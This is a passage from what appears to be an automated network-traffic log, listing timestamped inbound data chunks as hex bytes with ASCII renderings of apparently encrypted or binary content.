6a 42 2c 4b 0f 27 b8 dc 7d 37 Data Ascii: $-ub}V T![1bceSn-l[2:A28=T ihp;4T[#qzOn!j+JY)Oa_RS+1 Gy:Oeb`q]98(F=)h?W\|NNHq[jP==WsjB,K'}7
2022-01-14 03:59:52 UTC	4510	IN	Data Raw: 7e 5f 8e 21 59 c5 0c de b6 05 0d 5d 4b 79 68 14 11 b3 bd cd 55 df 5e bb 5c ea 01 5f 63 cf c1 1c 6b e0 95 a5 e1 34 e5 51 4b fa da 7f 94 d7 1b a1 6b 49 cc d7 09 70 03 5e bf 15 69 21 ff 50 2e 4e 40 da fc 90 54 e7 21 2c cc 04 4f 05 a6 66 9f ac 8a d5 57 60 bb fb c3 43 06 c3 cd b2 54 1c 3c 2b 42 b0 dc 63 8b 14 c5 02 45 4e 5a e2 d0 74 b5 aa 8f 81 08 3e 1b 0e 80 9c 71 3b ee dc a3 d4 2f ad 06 6b 9c 23 88 05 73 56 e7 fb 32 73 6e 02 45 d0 af a5 ff 47 ef 55 b3 2e 97 a5 1a c7 0a e4 65 f7 01 ba 6c ab 4e 74 12 24 af e1 d7 99 8f 27 65 73 8a 20 ac 6c f7 62 67 51 d2 5c 40 0f de 6e ca c4 bd cb c8 83 6e 15 24 f4 ee d7 fc 31 b8 85 43 5e 40 81 35 db 4e c1 72 b5 6d ce 7b 02 9e 60 bf e1 c7 51 33 18 a2 0c 0e fd 9e 98 13 c1 fd 73 de 7f 4e 53 78 db bc 4d fc 02 6e 49 8d 7f ff ac 3a Data Ascii: ~_!Y]KyhU^\_ck4QKkIp^i!P.N@T!,OfW`CT<+BcENZt>q;/k#sV2snEGU.elNt$'es lbgQ\@nn$1C^@5Nrm{`Q3sNSxMnI:
2022-01-14 03:59:52 UTC	4526	IN	Data Raw: ef 66 51 08 e2 a6 51 41 d4 d2 6f e2 ab 6e 7a b3 ea 59 ef 8b b9 13 e8 17 a0 45 c0 d3 a9 7a 53 f7 d6 dc 80 7c 8b 49 57 9e a0 8b ce 5f 1a 6e 2a ac a8 2a d8 b8 a9 cd b0 1a ca cf b4 e2 1e 87 10 f1 66 05 f5 44 0b d8 42 c3 72 95 73 f5 73 e4 d4 7e 71 f1 4c 55 26 98 42 b7 cb 46 06 3a 52 5a 14 57 fe cf aa 53 99 eb ef d3 7d e3 d8 56 9f f0 46 cd 3c 25 c1 50 1a c8 84 c1 0e 0e 09 84 a4 ed dc 27 f3 86 3c 6f a9 9f cd e7 6b 7d b3 98 d7 83 4e 30 3e 1a 39 06 67 30 05 39 8f 26 56 38 c6 c7 5a 31 34 4b a8 3d ae 41 2e 61 df 00 37 a9 9b 58 61 ec 17 eb be 68 a8 89 05 e9 60 ee 5d 35 69 95 20 0c 03 d0 01 11 ac 2f e3 68 91 f5 13 4a 65 85 e7 6a 50 02 6c 4d 0f 6b 42 e5 4f 8c b0 c3 23 78 3e 19 bd 5e 2e c6 5b 18 f5 04 96 b3 1b 34 81 1a 82 7e 23 2d 8c 69 01 a0 0b c1 43 0a b2 f7 70 b5 1f Data Ascii: fQQAonzYEzS\|IW_n**fDBrss~qLU&BF:RZWS}VF<%P'<ok}N0>9g09&V8Z14K=A.a7Xah`]5i /hJejPlMkBO#x>^.[4~#-iCp
2022-01-14 03:59:52 UTC	4542	IN	Data Raw: e0 8b a9 99 f8 a2 c3 06 84 0f 07 2d 5f 15 22 30 2d 51 3b d0 84 56 7f 2d e4 80 ac 4d cb 39 00 c4 2f e8 86 ca 3e 16 b2 ae 9e 88 8f 36 ac 15 31 0d 6e ed f4 3e b6 c2 a1 c0 7e 92 d1 f4 2a 55 68 b6 0a f8 3b c7 31 e5 ef 9f 46 07 fc 22 47 8d f1 10 fd ad 26 90 1c 1e fc a1 00 a7 84 89 39 8f 97 c7 8b 3d 49 bb 6f 78 16 8d f2 3e 71 e4 17 3b 10 ee fc 46 f1 5d e5 c7 e0 e5 11 7e cf 67 18 c0 91 d5 94 91 ab fc 94 f8 c4 06 d1 d8 da 19 e6 4c c0 1e 69 ea 2a 3d b0 d2 d8 e0 87 d2 25 65 0b ef 6b 28 3d 16 c5 c9 3c 42 05 66 c8 a1 b4 de 6c 7e 3f c8 25 06 32 18 af a3 c9 3d 19 da 94 0a ae 35 50 dc 54 8a 7f a2 1c d7 9e 5d 58 40 ad a9 45 92 5d 7d ce 70 09 50 0a 23 52 73 aa 3e ba 93 3f af ca cc 81 98 02 59 62 36 33 59 91 49 cd 8a a4 38 cc d4 1d ba 84 0d 53 7e ac f1 d6 40 d3 1a 07 07 56 Data Ascii: -_"0-Q;V-M9/>61n>~Uh;1F"G&9=Iox>q;F]~gLi=%ek(=<Bfl~?%2=5PT]X@E]}pP#Rs>?Yb63YI8S~@V
2022-01-14 03:59:52 UTC	4558	IN	Data Raw: 19 6c 19 04 05 3e 35 9b c9 27 56 47 15 e5 08 bd dc 9d f6 70 ed 12 c7 49 0b eb 7c 47 e0 31 55 69 78 ee e2 26 58 94 b3 48 d4 ce af 01 df 66 03 0a 6c 84 e0 89 9a 68 71 b6 24 57 8e 5a 52 2f 46 51 7a 11 da 9c 08 8f 18 b1 bb 1a f2 d9 1b 05 df ff 50 7e 5c 80 59 35 0b f8 82 ac 55 d9 73 5d 1d 18 be 6f 92 33 70 44 20 f5 52 41 1e a2 c8 cd ae 94 91 dd 94 96 b3 8c 2a cc 26 b9 88 22 91 d1 86 36 84 d0 c1 7a 98 0e 4c 8f cd 37 33 18 96 3b 5e 6f 7c c6 d8 77 52 59 64 a8 3e fd 07 66 62 6e cd 11 b3 f4 2b 3f 2b 95 79 56 0c 57 25 a6 d0 92 35 74 b8 f6 e7 44 ec ae 96 96 28 72 b5 3c 53 69 9e 38 22 dd 9c 83 30 2d 73 b7 53 9a b8 ec 33 32 41 e5 ec a7 63 9e 15 89 50 a9 99 56 42 90 df 62 b6 de 19 a4 c9 a0 8e c6 7b cd 06 b3 32 da f9 0a 16 ba 1b 6e b9 23 17 09 64 c6 56 17 40 dc 7b 65 be Data Ascii: l>5'VGpI\|G1Uix&XHflhq$WZR/FQzP~\Y5Us]o3pD RA*&"6zL73;^o\|wRYd>fbn+?+yVW%5tD(r<Si8"0-sS32AcPVBb{2n#dV@{e
2022-01-14 03:59:52 UTC	4574	IN	Data Raw: 06 4e f1 4c 81 eb d6 05 94 a6 50 e6 35 7b 89 bc 0d a5 75 19 aa bd 44 e3 e0 6e 54 b6 bc 12 2a 85 3c 07 95 f1 1d 52 8f c7 ea 28 ed 5f ad 41 ac 46 49 92 e5 e7 e9 c5 14 ff 2e 6b 8e 5d 36 25 4d 2d 75 c3 3f 4e a0 c6 f3 f3 19 58 ee 2e d5 c9 b5 5b 16 02 53 3a 24 56 a5 1b a5 76 ce e3 2e 46 6e 25 69 7b b9 ec f7 6e d6 1b bf 22 00 63 13 5e 22 c9 7f 1f 17 a1 75 49 7f 6c 64 7e 09 40 fc 7a 2a 9e fb db 54 d4 56 54 c5 23 56 54 2b ae 37 e6 3a 60 8d eb 6b 89 e1 69 4c 2d ae 24 16 7a aa 60 58 39 01 c0 fe 4e 64 32 77 da 48 d0 d6 7d d8 79 57 02 a1 bb 6e aa c9 b5 13 2b b0 86 e9 e1 48 cb aa c4 96 0a 45 b6 17 24 27 77 cc e5 43 41 a6 60 cc d1 7b 0f c2 ab 2a b4 34 ca 37 93 c3 28 45 e4 3c 98 84 ee 02 c4 7f 5a 5e 5e 84 2d 15 c5 29 56 1b c3 11 b2 36 71 57 a2 44 ae 8e 2a dd 8c aa c6 ac Data Ascii: NLP5{uDnT<R(_AFI.k]6%M-u?NX.[S:$Vv.Fn%i{n"c^"uIld~@zTVT#VT+7:`kiL-$z`X9Nd2wH}yWn+HE$'wCA`{47(E<Z^^-)V6qWD
2022-01-14 03:59:52 UTC	4590	IN	Data Raw: 7f fe 15 c6 94 ac f6 e7 0a 9f d6 35 86 83 0e b6 67 1c 61 bd 4b 89 5c 57 9c f6 1c 04 b9 47 eb c9 2b 89 e8 75 6f 29 42 cd 0a fc 2c 76 44 5a fe 3d d1 76 f9 15 af d9 91 95 7e bd 2d d4 d0 08 c1 87 70 62 8c 68 07 4b b2 9e 00 89 71 4f 7e 05 4c ff 17 69 b1 d7 84 e5 0d f1 a2 5d a8 64 83 90 74 90 43 60 04 ce c2 fd 2f 47 d5 60 ff 80 69 35 0a e2 fd 87 1e 7c e4 5e ad e7 57 4a 58 1e a6 9a 04 b7 10 76 f2 66 20 dd 87 ed 4c 98 4d 43 2d 00 e5 ba d1 f7 52 24 eb b7 ee b7 a6 39 18 b3 cf e1 da 19 5a 2a 21 c4 a2 5f 4d c5 a1 29 c0 b0 f8 c5 b1 90 25 48 9c 49 0d 45 cf b4 0a de 4b ef 98 06 a1 f9 d4 bd 81 8c 36 ca 9b bb a8 9b 70 09 b7 6b 03 3b 88 48 3e b6 bc 7e 97 3e 34 f7 c4 d7 b4 69 a0 7f 16 95 27 e3 7c db 53 07 d1 da ce cd 4c d8 12 e0 fd 16 7f 9f 74 72 4f 86 86 67 17 5a 40 4b 55 Data Ascii: 5gaK\WG+uo)B,vDZ=v~-pbhKqO~Li]dtC`/G`i5\|^WJXvf LMC-R$9Z*!_M)%HIEK6pk;H>~>4i'\|SLtrOgZ@KU
2022-01-14 03:59:52 UTC	4606	IN	Data Raw: 48 e2 24 5b 86 be 44 68 74 44 fc 51 fc d5 75 82 10 87 d0 df 9b a4 44 ec b6 29 ca 96 8f 4a 8b 2e a5 9b 8a f7 90 77 da 0f 3f 11 c3 a9 18 48 b2 b6 d9 db 68 0a fe 0d d1 69 94 ed 0c e5 29 84 65 04 02 2a b9 4a fb 19 6c 85 08 5c 49 1e ba b0 eb b6 aa fe cf e2 58 15 a4 fd cb 30 1e 1c c0 7c 5c da ab 3a b7 4d 01 df 83 72 ae df 19 c2 13 29 ed 2b 61 3b 06 87 c6 5b f2 9c 6b c1 a5 b0 89 a6 53 a8 c9 9e b2 fe ed 1c a5 ef 15 9c b9 d8 60 ee 19 16 6b 14 2f 5f ee bc bf 52 cc f8 90 72 1c c8 41 61 73 c2 ca 23 99 92 21 f4 80 be 7c 24 40 4c c4 46 89 17 70 f7 b8 17 32 49 78 89 9d aa 96 a7 d7 ae 11 87 be 71 8a 78 3c 36 ef 02 5c b8 69 ec b4 5f 04 ca c5 fe c2 0b 8e cd e1 c0 a1 dd 38 d2 49 64 8c f7 fc 05 3c 5c 3b c2 1c 3e 7d ad 10 fb 03 ea 1c 5e 69 4e 9a c9 1f 28 82 51 e6 d2 3c 5c 93 Data Ascii: H$[DhtDQuD)J.w?Hhi)e*Jl\IX0\|\:Mr)+a;[kS`k/_RrAas#!\|$@LFp2Ixqx<6\i_8Id<\;>}^iN(Q<\
2022-01-14 03:59:52 UTC	4622	IN	Data Raw: bc fc c8 84 41 b4 80 cb 37 47 a6 ba 4c 60 a2 de ac 87 16 89 5b 02 cf 68 76 22 71 70 82 68 92 63 27 58 7b fc 9b 79 da ed 2f 59 ab d2 5e 5b 82 94 ef a1 21 96 78 aa 80 15 d6 00 5f a8 5a e1 d3 00 40 ea d0 df 54 00 5f 77 ae 94 64 03 1e 91 0f 83 07 fb 77 e1 a7 bc 79 78 de 2b d8 61 11 86 02 98 68 21 f3 3c 5d 60 fc 3c 07 a7 94 2b 7b 1c 01 26 c5 43 02 02 60 68 fe 1f 12 6d 64 a7 c3 61 59 ef 77 db 47 04 b4 14 19 83 24 68 b1 46 ca df 11 fd 85 5b 0c 26 f9 f8 2a 8c 82 38 74 c4 19 5d 29 8f fa 88 90 8c 73 36 ea a2 13 da 8a 56 ce 24 95 54 57 af f3 1e 0d da d7 13 96 a3 e0 c2 75 ba 1e 3b 5f 08 1b fe 0e 92 8b 79 bc a5 7c 7e bb 43 c8 a8 8d be 51 5d 38 9d 19 ab 91 ef 90 ff 11 89 e3 43 5b 28 ae 5d 04 43 0e f9 db 9c fa 9c 40 76 69 d7 90 25 89 36 8a 34 c6 ea 13 1f d9 11 ad 2a 2e Data Ascii: A7GL`[hv"qphc'X{y/Y^[!x_Z@T_wdwyx+ah!<]`<+{&C`hmdaYwG$hF[&8t])s6V$TWu;_y\|~CQ]8C[(]C@vi%64.
2022-01-14 03:59:52 UTC	4638	IN	Data Raw: e0 11 2e a7 50 bc 05 5e f5 e8 a5 78 17 00 09 10 f1 d1 4f 52 81 77 12 42 85 53 0f d1 62 53 8e 8e c8 46 2b 22 db ef 98 c0 d2 7f a2 c7 77 e7 85 10 75 97 49 1c 38 75 a5 b2 3d e2 6a 6a 36 a7 18 4d 76 7c e4 d7 5e 56 31 f8 9a 13 99 d8 fb 32 34 15 8c 17 0d ff 59 45 77 77 e1 7f e1 79 41 81 d4 e8 6f bd a2 dd 34 99 de 58 36 25 8f 16 80 a3 9c 66 3d 1e cf 16 67 9b 69 14 15 64 77 a6 08 74 15 5e a1 b7 ba 39 22 84 05 4f db 74 5b c4 66 00 3d 68 5b 89 59 d4 38 9e 62 5e 3b 87 98 a8 89 33 03 8a 36 c9 63 b2 78 cb 94 37 b1 a6 33 87 a6 25 89 2a 15 91 f2 4b 3f 93 5a 25 5f f0 6c 5a d7 1c 89 a7 af 2e dd 3c e7 1e 4f 72 c9 67 a4 fd 97 92 84 eb 13 2b 05 af fb 79 1c 49 55 d6 8c cb 7f f5 a8 71 83 c2 69 e6 9a 5d 81 fc 37 1a 59 3e f2 b9 d3 71 cd a8 56 2f 8e 62 29 8b d5 13 7e 46 35 55 a3 Data Ascii: .P^xORwBSbSF+"wuI8u=jj6Mv\|^V124YEwwyAo4X6%f=gidwt^9"Ot[f=h[Y8b^;36cx73%*K?Z%_lZ.<Org+yIUqi]7Y>qV/b)~F5U
2022-01-14 03:59:52 UTC	4654	IN	Data Raw: 06 b7 dc 0e d6 55 a8 ce 0d 61 42 f9 df 3c 97 e2 a2 d6 e3 4e 9c 66 6d 2a e8 72 c8 63 db a5 61 b6 f1 4f 02 c4 20 30 55 9d e1 73 10 71 7d ff 3d 0c de 69 74 51 6c 56 97 86 74 0c 5c 8e 40 9f 47 fd 84 ca 26 e3 90 44 3f e6 c7 fe 60 6a 00 e7 af c7 0a 72 52 4c 46 53 ba c4 82 6c 7e f0 04 bc e3 92 21 90 78 3f 4b 8d 75 f7 d8 ba 15 0e 87 b3 03 2a 22 67 65 d0 b8 75 3f d9 e9 df 93 f4 82 2c e2 08 84 b2 d7 9c 95 45 67 63 76 42 18 52 5f 2b 78 b4 17 d7 65 5d 76 25 19 43 76 2a 0a 90 4f a6 5b 77 cb ad af 60 06 0f df d2 95 96 e6 f6 5c 6f 86 1a 7a 06 aa cf 69 21 51 c9 16 78 69 56 8d dc a9 a8 c3 ca 8b d3 6d a6 8d be 2f 0d f9 a5 b3 13 27 31 6e cd 9a 50 a2 ce 62 3d c2 46 39 81 ef 9f 85 2d ec 11 09 cf 34 9c 6f 32 92 ed 12 55 0b f8 82 46 55 2e 6b 38 39 e5 83 d9 dd 43 5e 5f 9a c6 76 Data Ascii: UaB<NfmrcaO 0Usq}=itQlVt\@G&D?`jrRLFSl~!x?Ku"geu?,EgcvBR_+xe]v%Cv*O[w`\ozi!QxiVm/'1nPb=F9-4o2UFU.k89C^_v
2022-01-14 03:59:52 UTC	4670	IN	Data Raw: 3d f8 80 ab 07 4a 06 ea 03 91 a4 ec 26 0e e8 b1 10 d2 a2 38 9e 88 02 e0 86 11 6d d3 41 27 00 d1 9f e0 30 d5 1e 9e 56 0e f3 57 29 81 26 b4 05 5f bf b7 9d d3 c4 f3 48 05 92 2e d2 9b 8d ce 65 1e 9d 9d 63 ed cc ce 38 bd a7 6a fe f9 fc 4d ca a4 ae 81 c3 ad 73 5f 52 99 e2 a7 2d c5 e8 93 15 97 89 b1 58 88 2f e5 62 33 32 55 f4 e0 e1 ea 17 48 c3 3a 9e ad e1 ee 6e 3a 1c ac b1 f0 a4 55 17 bc 1b ec 1d 98 d3 2f 02 7a 25 b8 15 5f 76 02 8c 94 e3 a1 8a 9d 4d 1b d3 d4 dc b1 f7 46 b9 90 68 23 13 d6 48 a1 14 1c d9 67 86 53 9c c6 f9 40 28 ba c2 2a 4a 32 b0 9e 96 f3 2e 6e 1f b4 bb 59 ca e0 5f 04 30 05 87 7e e2 b3 01 28 d3 0c c3 99 d9 1b 88 61 7d f2 4f 7c 4e 3a 58 5d 6a ac 80 eb 34 96 66 43 d0 8b fd 4e 2b a6 06 aa 23 49 1c de d4 37 e4 d6 ea 1c ec 63 d6 3a 61 5a 4e 93 84 c6 7c Data Ascii: =J&8mA'0VW)&_H.ec8jMs_R-X/b32UH:n:U/z%_vMFh#HgS@(*J2.nY_0~(a}O\|N:X]j4fCN+#I7c:aZN\|
2022-01-14 03:59:52 UTC	4686	IN	Data Raw: 93 b7 3e 6f 33 fa 82 d0 cf 61 11 ff bf 3e 72 d3 cb 71 07 3d d5 32 a4 f8 33 e2 e2 d7 c9 c5 56 49 0f 31 c5 41 76 07 97 90 32 22 a7 f8 da 0a 8d 3a 72 47 47 77 fc f2 cd 63 70 0f 24 2e 96 00 73 76 f6 69 8f a9 c0 36 83 74 96 e5 a0 2e 4d 90 d0 6f 24 35 58 1c a1 4f 4f 9b a9 bb 98 2f f7 77 f1 20 e1 67 45 7c 90 14 fe d6 35 c6 1d 1b 93 86 d4 db 58 ce a4 49 0d c5 02 d1 22 90 a1 e5 25 5b 61 32 30 8a 98 4d dd 15 6f cf 59 1b 2c 8b cf 4c 5b 5f 03 06 31 58 83 19 80 a4 e6 ea 8b 20 cf 3b 78 74 68 e7 98 d9 64 b6 ce 08 4e 8e 9b 72 9f c5 88 71 d4 92 97 ee 33 3f 27 db 77 32 9f ae 30 fb f6 59 84 b9 87 f2 74 94 40 6b de 65 4d 91 93 9f 4a 02 b2 88 0f db b5 dd 95 f9 e6 dc 67 cc ff 29 51 3e a9 67 8e 44 38 d9 b2 be e1 3c 8e 3e 68 b4 ed 6c 32 21 9d 76 97 12 5e 68 77 27 84 ef 86 ff a0 Data Ascii: >o3a>rq=23VI1Av2":rGGwcp$.svi6t.Mo$5XOO/w gE\|5XI"%[a20MoY,L[_1X ;xthdNrq3?'w20Yt@keMJg)Q>gD8<>hl2!v^hw'
2022-01-14 03:59:52 UTC	4702	IN	Data Raw: 40 54 9f 4f 50 06 2a 65 24 93 6c 48 80 66 35 68 ea 12 9c 93 d2 1a ab 8a 2a 7e 73 e5 e9 33 f2 d5 a7 f3 b4 e7 ab 93 3b 54 7c 36 44 2c bb 44 65 50 6c 4c 4f 1f 25 6a df 95 2d 86 97 93 a7 55 fb 68 63 18 84 c6 ef 1c b1 fe 99 b8 4f 16 d4 0b ca 30 c5 00 60 6e 55 96 c0 03 0f f8 eb d5 2b 6f cf 57 cd 92 74 54 99 e3 e0 a7 4f 9c 9b 44 78 9f c3 05 a3 2d 48 52 c0 c1 a3 e6 8a 34 77 b8 62 08 bf d6 52 b5 16 91 bb 36 48 bc 1a e7 7f 3e 94 ec f2 a0 8f db 93 fc 43 bc 12 ff b8 52 e1 f7 32 d8 a1 34 c8 38 e1 12 d1 f6 a7 1e 56 90 03 a1 9a 99 6f 54 23 c0 65 47 3c 1b 7c fe 53 b2 3a 62 cd 31 32 24 d9 3a 58 67 71 cb 32 6b 9f ab c6 cc 19 92 00 a4 67 c3 67 c4 b3 fc aa 9c 7c 42 5e 21 dd f4 de b8 73 75 e5 18 d6 8b 4b 73 45 f7 6e 80 a1 46 1c 72 78 ac b7 a0 b3 fa 70 a2 e0 61 e2 ac 52 ce bc Data Ascii: @TOPe$lHf5h~s3;T\|6D,DePlLO%j-UhcO0`nU+oWtTODx-HR4wbR6H>CR248VoT#eG<\|S:b12$:Xgq2kgg\|B^!suKsEnFrxpaR
2022-01-14 03:59:52 UTC	4718	IN	Data Raw: 89 33 23 45 96 b5 99 4f a4 1f 21 e7 79 2d 41 73 f8 32 89 da 8d 5c 78 c3 3f 24 32 1c 89 fb 1a d4 88 03 41 52 8a 4c e2 ce 40 8d d9 4a 77 e3 07 d6 6d 3c 2b fe fe b6 1b 62 a1 74 2d 02 3d 24 6b 9d 66 95 3f 3f 8e 4c a9 34 2a 5a e2 70 c3 1a 17 40 00 7a 2b 8b 05 a1 90 50 ed bd 05 28 dd 82 c3 f3 69 64 b7 53 27 6f 27 28 e5 8f 61 4d 2f 2f 11 6f 58 62 9f 77 14 2b 2a 78 dd 95 d0 20 4a 4e 74 31 b9 16 0d 1c f4 07 f6 c4 c1 ab c9 b6 ec 12 9b 0b cf 5d 47 6f 3b 87 62 2b 7a 7b 8c 5e 27 1f c5 8a d3 c1 28 d4 0b cf 65 57 e4 5d 94 0a d5 d8 23 8b e2 a7 9d 4b 8f e6 ef 57 12 7a 0b c4 df 54 bc ef 8b a6 2b 20 90 b0 44 89 f4 9f e2 5e fc 30 6d 5d f4 31 3b cd 94 61 e7 8e 0b d8 a0 2f c8 a0 8f 24 c4 db c4 50 75 44 30 54 f7 47 e9 c6 2e 70 03 78 27 ec 7a e5 5b 45 5a 5c 92 66 78 b4 d5 84 c5 Data Ascii: 3#EO!y-As2\x?$2ARL@Jwm<+bt-=$kf??L4Zp@z+P(idS'o'(aM//oXbw+x JNt1]Go;b+z{^'(eW]#KWzT+ D^0m]1;a/$PuD0TG.px'z[EZ\fx
2022-01-14 03:59:52 UTC	4734	IN	Data Raw: 55 fe 4d 9c 06 0a 94 45 8e 42 de 2f 02 6e 46 75 a5 87 ec 4c 50 3c 4f 28 9d bc 3b c4 79 6f f7 5e 36 86 f9 84 ea c8 49 21 2f df da 52 4a c3 3c b6 eb af a4 8c 29 7e 86 28 43 4b 9f 37 08 b2 af c2 e8 5f bb b5 e8 27 4a 04 3e 0b 63 ec 5d 8d 8e fc 77 2a 97 be 6f c5 75 35 b8 94 0c bc 0f d9 2b ed 70 06 b6 98 c9 e2 58 57 7b 76 ad d9 f7 91 26 d5 bf d8 90 43 ff 94 63 09 72 07 00 46 86 aa e1 78 97 a3 40 f7 ee c5 de 10 6d 60 79 18 01 43 48 79 15 99 97 7e 45 9f bc 38 d4 b6 fe 38 40 89 ee 3f 32 df 3e 9f b7 e9 0a d6 2f ce 7a 51 9f 7c 6c b8 38 ea 26 07 a7 08 dc a1 07 ec e3 fa 96 44 b4 4d b2 d1 1e fb 2c da c6 d4 bb c8 35 76 98 26 1f b7 62 20 a1 c7 4b 58 31 5f 18 fa 83 d3 34 1b 80 77 3b e9 63 84 c8 6a ee 75 44 f0 0d 79 1b 96 37 41 dc e1 a4 65 e7 fb 33 cb 89 6f 0d b2 74 80 e8 Data Ascii: UMEB/nFuLP<O(;yo^6I!/RJ<)~(CK7_'J>c]w*ou5+pXW{v&CcrFx@m`yCHy~E88@?2>/zQ\|l8&DM,5v&b KX1_4w;cjuDy7Ae3ot
2022-01-14 03:59:52 UTC	4750	IN	Data Raw: e1 21 6d 2e fc eb 4f 24 91 33 3c d4 0a bc 70 d1 40 da 09 97 2b a0 d9 29 c2 d9 3c 8e e2 45 8e 1c 92 7c 0a 5f ae a7 8d cb b4 d3 17 50 86 f4 59 83 5f 4a 02 cb 3e 7c 40 d5 03 9c 67 95 50 cb 4a c5 a1 41 b0 3f 0d 64 90 61 29 f0 7b dd 46 0a 90 e9 59 ba 0e b9 b1 44 c8 f5 90 bc ee d4 b1 55 d4 03 df 20 b2 6b 90 f4 06 03 eb 8f 92 2e 9a b0 35 33 e5 8c 91 96 63 c8 e6 78 05 89 50 92 22 db d0 17 c6 70 fd e1 e9 56 e4 37 36 fb c2 8f 43 d2 eb 4a e6 40 1e a8 10 98 ae 12 f7 8d 01 cb 1d 56 b0 ba 1b 57 87 45 65 83 88 57 28 01 0f 14 60 6a d2 51 10 e3 3e 9e a0 d0 d8 8b 5f 20 7b af c5 bd 15 16 e0 60 00 02 d7 d4 be 20 60 65 6c 92 67 d2 54 2e 0f ac 66 34 f8 31 3e c6 83 fa d8 f8 c0 80 54 1d 09 68 43 0c c0 69 9c 75 c6 55 2d 55 1e be df 67 fc 8a 18 0d 97 8f ad b6 92 f3 10 5a 9a 89 11 Data Ascii: !m.O$3<p@+)<E\|_PY_J>\|@gPJA?da){FYDU k.53cxP"pV76CJ@VWEeW(`jQ>_ {` `elgT.f41>ThCiuU-UgZ
2022-01-14 03:59:52 UTC	4766	IN	Data Raw: 82 3d 70 41 63 23 5b 5b 9b db 6f 72 bd ee 1c 3d 0e 67 c4 ac 3e 86 13 2f 0a 18 94 75 de 0b ca 55 6b 1f ea 7f e7 0e 8f cb 0e 99 40 0b 9e 6d 05 f8 29 c6 85 9b e1 6b 17 e7 39 a7 57 85 8a dc 37 51 2d af 3d c9 57 53 5c 2a e8 f5 5c 67 ea 41 ed 9e f6 25 aa 28 e2 fd a4 3f ef 63 fd 69 13 31 b0 8e 48 18 d1 8e c7 35 cc 94 a2 f0 a6 cd 59 3d 5d c5 de da 73 b7 12 ea 0e 54 8b f2 f9 ce cb e9 2d b2 79 f1 85 b4 c4 6e db 8c b2 14 88 f2 7c 22 f6 de d3 30 ae af 0d e0 5d ae b7 5f ec cd d6 22 9b 0d 6f 87 a1 b3 82 f6 70 8c f2 50 8d e5 c9 9c 3e c3 ee af f5 97 72 88 21 19 6b c9 30 3c 25 8c 5a 1e 3d 3c 80 ec a4 15 04 3f 87 69 17 b1 51 7f 81 25 14 29 a8 58 aa a2 d6 ca 58 59 8d 45 72 42 cc 0a 2c 4a 57 bc 10 49 7c 4d c4 d5 68 3c 1d 98 d3 e4 c3 e5 a4 0a d7 67 74 65 aa dc 64 5c 0f 9a 12 Data Ascii: =pAc#[[or=g>/uUk@m)k9W7Q-=WS\*\gA%(?ci1H5Y=]sT-yn\|"0]_"opP>r!k0<%Z=<?iQ%)XXYErB,JWI\|Mh<gted\
2022-01-14 03:59:52 UTC	4782	IN	Data Raw: c4 7f 00 0e 59 2b 67 da e9 d0 15 d2 ef 98 b4 0a 5a d6 82 80 e4 b2 e4 b9 5c 9c 20 56 49 e5 9f 75 76 3a b1 7d 60 f9 79 5a 83 f6 93 73 b7 1d 65 87 b0 55 ed 98 95 5a 1c e7 4c 5d 48 bf 11 2b 36 b3 38 d9 a3 74 43 40 1d 45 6e 66 96 93 29 57 43 32 13 db 3b a9 62 8a ed 46 44 f2 4f 90 6e 2a 26 9e 38 8e 5a 55 ac 07 e6 5c 54 88 97 20 8a 94 26 d8 bd e0 2f dc 96 58 ad 7b 60 1f 2a 86 cf 6c 7a af cc 2a fd 27 3f 26 e4 51 6d 1a 62 46 83 4c 22 c0 ac ea bd 7c 3e 99 32 10 70 22 3d 08 d9 bc 37 c9 e0 9d b3 fa df 50 d9 44 80 ad 8b 0f 9a 62 3c ca 67 35 c7 da 85 23 80 80 f1 11 17 98 12 d6 1e 39 09 05 b2 69 11 a5 c5 c0 82 a7 b6 d4 1b 9e 77 1c 26 50 69 89 31 ac 5b 54 3b 57 2e ab 99 ec 24 a5 37 a9 c6 94 36 77 1e c7 dd af bb 5b a7 2f b2 e3 fb 9f b2 5f b8 d2 c7 d9 93 0d bc c7 93 c2 25 Data Ascii: Y+gZ\ VIuv:}`yZseUZL]H+68tC@Enf)WC2;bFDOn&8ZU\T &/X{`lz*'?&QmbFL"\|>2p"=7PDb<g5#9iw&Pi1[T;W.$76w[/_%
2022-01-14 03:59:52 UTC	4798	IN	Data Raw: 1c 47 1e 3b 65 06 53 cc d2 75 f5 72 37 9e 9f 2d ce c3 b5 f3 35 57 f5 c6 15 9a c2 d4 dd ea 84 32 6f 89 0d 09 1d 0e dd ff 11 4e f7 fc 14 54 12 22 98 76 80 10 c2 75 61 db 98 73 d7 4a a0 da aa a7 cb d7 e3 91 f1 73 e6 96 f7 27 c0 f8 81 22 98 00 fe 5b 6b 49 21 94 49 43 53 fa 17 4a ca df 98 55 1e 2b 45 9c bc 84 6c b9 17 67 ea ee fb ac e5 1f be b3 09 c9 db 11 21 df 4b a8 2c 0a e9 a0 f3 27 f7 0b 97 20 a0 62 69 71 eb 05 3d fe a8 19 7b 05 2f c6 4a 22 3f b1 84 f6 83 11 7d 54 23 24 e8 ae 57 fc 89 85 84 88 89 00 4b bd 3c 95 db 54 6b c8 8e b5 cd 91 88 2b 15 f0 26 a2 a7 77 5b 77 24 07 eb b0 de 23 fa 5d 10 9e 34 5f cb 76 71 f3 44 ed aa 46 18 39 60 27 ea 3c 00 1a 0a 97 c4 ac dc ed 72 2d 23 b4 24 44 f3 00 8e 1b 4f 78 a6 07 7b 21 1c 29 45 63 c6 5a 84 11 a7 45 86 37 7e a7 23 Data Ascii: G;eSur7-5W2oNT"vuasJs'"[kI!ICSJU+Elg!K,' biq={/J"?}T#$WK<Tk+&w[w$#]4_vqDF9`'<r-#$DOx{!)EcZE7~#
2022-01-14 03:59:52 UTC	4814	IN	Data Raw: 48 e4 de d1 79 7b e9 8d 86 43 b3 4f 95 dc 3a ef 05 35 e9 89 60 29 10 1f e6 9d 1e 07 b5 05 58 8e 9c fe ff fa 0e 7c 2a a2 3a 31 a0 77 61 b7 be 18 ba c8 b9 0e 58 12 c5 b4 e7 89 b1 65 4e 2e e7 dc 19 e2 d2 f3 96 f0 6b c3 72 7d 17 07 aa 0f 9a 88 b4 07 e7 45 34 ab f3 4e 12 c7 46 43 42 2b 76 34 eb 20 63 40 84 81 a9 4a 65 af 61 90 52 99 4f 0f 82 f2 0a f5 9f 03 82 26 d8 37 29 8a 63 bc 53 91 71 de 81 6b a3 a8 b1 4a 3e 15 57 3f 5c be 96 61 80 6d 9f e3 8e dc 48 d6 84 60 cb d6 91 70 44 31 f6 25 e7 92 e2 39 b5 cc 62 cc 8a 91 e9 8d be 7b 59 7b b4 c4 0d 6e c6 fd a2 ab 86 7a 8b 2e cf 99 da d1 9e 11 f6 cd ae de a7 d0 e0 d9 07 fe 